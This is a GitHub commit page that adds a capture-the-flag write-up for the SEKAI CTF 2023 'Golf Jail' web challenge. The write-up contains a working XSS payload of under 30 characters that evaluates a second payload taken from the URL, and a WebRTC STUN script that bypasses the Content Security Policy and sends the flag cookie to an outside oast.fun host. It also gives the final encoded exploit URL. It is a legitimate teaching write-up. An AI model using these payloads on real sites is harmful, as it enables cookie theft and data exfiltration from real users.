Skip to content

Commit

Permalink
add writeup
Browse files Browse the repository at this point in the history
  • Loading branch information
xanhacks committed Aug 28, 2023
1 parent f9c720c commit 5c21dd3
Show file tree
Hide file tree
Showing 2 changed files with 139 additions and 0 deletions.
9 changes: 9 additions & 0 deletions content/en/docs/writeup/_index.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
---
title : "WriteUp"
description: "Offensive Web - WriteUp"
lead: "Offensive Web - WriteUp"
date: 2020-10-06T08:48:23+00:00
lastmod: 2020-10-06T08:48:23+00:00
draft: false
images: []
---
130 changes: 130 additions & 0 deletions content/en/docs/writeup/sekaictf2023_golfjail.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,130 @@
---
title: "SEKAI CTF 2023 - Golf Jail"
description: "JS Payload golfing and CSP Bypass using WebRTC"
lead: "JS Payload golfing and CSP Bypass using WebRTC"
date: 2023-01-01T00:00:00+00:00
lastmod: 2023-01-01T00:00:00+00:00
draft: false
images: []
menu:
docs:
parent: "writeup"
weight: 620
toc: true
---

> I did not manage to solve it during the CTF, but I decided to make a write-up afterwards as it was a very cool challenge.
## Challenge

I hope you like golfing ⛳🏌️⛳🏌️

- Challenge URL: [https://golfjail.chals.sekai.team/](https://golfjail.chals.sekai.team/)

```html
<?php
header("Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'unsafe-inline' 'unsafe-eval';");
header("Cross-Origin-Opener-Policy: same-origin");

$payload = "🚩🚩🚩";
if (isset($_GET["xss"]) && is_string($_GET["xss"]) && strlen($_GET["xss"]) <= 30) {
$payload = $_GET["xss"];
}

$flag = "SEKAI{test_flag}";
if (isset($_COOKIE["flag"]) && is_string($_COOKIE["flag"])) {
$flag = $_COOKIE["flag"];
}
?>
<!DOCTYPE html>
<html>
<body>
<iframe
sandbox="allow-scripts"
srcdoc="<!-- <?php echo htmlspecialchars($flag) ?> --><div><?php echo htmlspecialchars($payload); ?></div>"
></iframe>
</body>
</html>
```

> The admin bot only takes URLs of the format https://golfjail.chals.sekai.team/
## TL;DR

Create a tiny XSS to run a second payload contained inside the URL. This second payload will exfiltrate the flag and bypass the CSP using a DNS exfiltration with WebRTC.

## Write-Up

### Code Execution

Using `htmlspecialchars` within the `srcdoc` attribute doesn't prevent against HTML Injection/XSS. The code example below demonstrates that HTML entity codes are effectively interpreted inside the `iframe`. For more details, refer to [attr-iframe-srcdoc](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-srcdoc).

```js
function encodeHTMLEntities(text) {
var textArea = document.createElement('textarea');
textArea.innerText = text;
return textArea.innerHTML;
}

document.write(`<iframe srcdoc='${encodeHTMLEntities("<img src=x onerror=alert()>")}'></iframe>`);
```

### Tiny XSS

We know how to execute an XSS, our next challenge is to bypass the 30 characters or less filter. To perform an XSS within this limit, we can use the URL to locate a part of our payload.

```python
>>> len("<svg onload=eval(location)>") # about:srcdoc
27
>>> len("<svg onload=eval(top.location)>") # https://golfjail.chals.sekai.team/...
31
>>> len("<svg onload=eval(baseURI)>") # https://golfjail.chals.sekai.team/...
26
```

When you're within an `iframe`, you can't employ the `location` attribute to access the top-level location. Using `top.location` exceeds the character limit. However, you can leverage the [baseURI](https://devdoc.net/web/developer.mozilla.org/en-US/docs/Web/API/Document/baseURI.html) property of the Node (in this case, the iframe). This property provides the absolute base URL of the document housing the node (iframe).

As we cannot directly evalute the `baseURI` property, we can create a string that will contain the URL, close this string and initiate our second payload. This means the second payload resides both within the URL and outside the `xss` parameter, allowing us to bypass the character limit.

```
golfjail.chals.sekai.team/?xss=<svg onload=eval(`'`+baseURI)>#'+PAYLOAD2
1. 'https://golfjail.chals.sekai.team/?xss=<svg onload=eval(`'`+baseURI)>#'
2. +
3. PAYLOAD2
=> eval('https://.../?xss=eval(%60%27%60%2BbaseURI)>#' + PAYLOAD2)
```

### CSP Bypass

Now that we can execute an XSS without dealing with the character size resitriction, our final step is to find a CSP bypass to extract the flag. For this purpose, we can use a DNS exfiltration via WebRTC.

```
Content-Security-Policy:
default-src 'none';
frame-ancestors 'none';
script-src 'unsafe-inline' 'unsafe-eval';
```

WebRTC exfiltration payload:

```js
var flag = document.firstChild.data.split('').map(x=>x.charCodeAt(0).toString(16)).join('').substr(32,48);
var pc = new RTCPeerConnection({
"iceServers": [{
"urls": ["stun:" + flag + ".ckpaek22vtc0000kjaw0gj5f8jhyyyyyb.oast.fun"]
}]
});
pc.createOffer({
offerToReceiveAudio: 1
}).then(o => pc.setLocalDescription(o));
```

Final payload:

```
https://golfjail.chals.sekai.team/?xss=%3Csvg%20onload=eval(`%27`%2BbaseURI)%3E#'+eval(atob('dmFyIGZsYWcgPSBkb2N1bWVudC5maXJzdENoaWxkLmRhdGEuc3BsaXQoJycpLm1hcCh4PT54LmNoYXJDb2RlQXQoMCkudG9TdHJpbmcoMTYpKS5qb2luKCcnKS5zdWJzdHIoMzIsNDgpOwp2YXIgcGMgPSBuZXcgUlRDUGVlckNvbm5lY3Rpb24oewogICAgImljZVNlcnZlcnMiOiBbewogICAgICAgICJ1cmxzIjogWyJzdHVuOiIgKyBmbGFnICsgIi5ja3BhZWsyMnZ0YzAwMDBramF3MGdqNWY4amh5eXl5eWIub2FzdC5mdW4iXQogICAgfV0KfSk7CnBjLmNyZWF0ZU9mZmVyKHsKICAgIG9mZmVyVG9SZWNlaXZlQXVkaW86IDEKfSkudGhlbihvID0+IHBjLnNldExvY2FsRGVzY3JpcHRpb24obykpOw=='))
```

> **SEKAI{jsjails_4re_b3tter_th4n_pyjai1s!}**

0 comments on commit 5c21dd3

Please sign in to comment.